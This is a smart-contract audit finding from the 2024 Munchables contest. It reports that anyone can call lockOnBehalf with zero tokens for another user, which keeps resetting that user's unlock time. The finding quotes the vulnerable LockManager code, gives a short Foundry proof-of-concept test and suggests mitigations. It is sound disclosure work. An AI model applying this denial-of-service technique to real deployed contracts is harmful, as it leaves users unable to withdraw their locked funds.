Munchables - PENGUN's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L410 https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L382-L384

Vulnerability details

Impact

Malicious user can prevent certain users from unlocking forever

Proof of Concept

    function _lock(
        address _tokenContract,
        uint256 _quantity,
        address _tokenOwner,
        address _lockRecipient
    ) private {
...
@>      uint32 _lockDuration = playerSettings[_lockRecipient].lockDuration;

...
        lockedToken.remainder = remainder;
        lockedToken.quantity += _quantity;
        lockedToken.lastLockTime = uint32(block.timestamp);
@>      lockedToken.unlockTime =
            uint32(block.timestamp) +
            uint32(_lockDuration);

        // set their lock duration in playerSettings
        playerSettings[_lockRecipient].lockDuration = _lockDuration;

        emit Locked(
            _lockRecipient,
            _tokenOwner,
            _tokenContract,
            _quantity,
            remainder,
            numberNFTs,
            _lockDuration
        );
    }

When the _lock function is called, the unlockTime is reset to block.timestamp + lockDuration.

    function unlock(
        address _tokenContract,
        uint256 _quantity
    ) external notPaused nonReentrant {
        LockedToken storage lockedToken = lockedTokens[msg.sender][
            _tokenContract
        ];
        if (lockedToken.quantity < _quantity)
            revert InsufficientLockAmountError();
@>      if (lockedToken.unlockTime > uint32(block.timestamp))
            revert TokenStillLockedError();
...
    }

The unlockTime is used by the unlock function to check if the user can unlock, and if the unlocktime has not arrived, revert is raised.

    function lockOnBehalf(
        address _tokenContract,
        uint256 _quantity,
        address _onBehalfOf
    )
        external
        payable
        notPaused
        onlyActiveToken(_tokenContract)
        onlyConfiguredToken(_tokenContract)
        nonReentrant
    {
        address tokenOwner = msg.sender;
        address lockRecipient = msg.sender;
        if (_onBehalfOf != address(0)) {
            lockRecipient = _onBehalfOf;
        }

        _lock(_tokenContract, _quantity, tokenOwner, lockRecipient);
    }

lockOnBehalf can lock for another user instead.

This can be exploited to lock on behalf of a specific user and keep increasing the unlock time, making it impossible to unlock.

By passing _quantity as 0, the attacker can perform the attack without any monetary loss.

POC:

    function testDoSUnlock() public {
        vm.prank(A);
        lockManager.lock(
            token, 100e18
        );
        
        vm.warp(block.timestamp + minLockDuration);
        
        vm.prank(attacker);
        lockManager.lockOnBehalf(
            token, 0, A
        );

        vm.warp(block.timestamp + minLockDuration);

        vm.prank(A);
        lockManager.unlock(  // @audit revert!
            token, 100e18
        );
        
    }

Tools Used

VS Code

Recommended Mitigation Steps

This can be solved by making some modifications to the project's policies.

• Remove the lockOnBehalf function
• Do not update the unlock time if it is a lockOnBehalf called by someone else
• keep the existing unlock time on _lock

Assessed type

DoS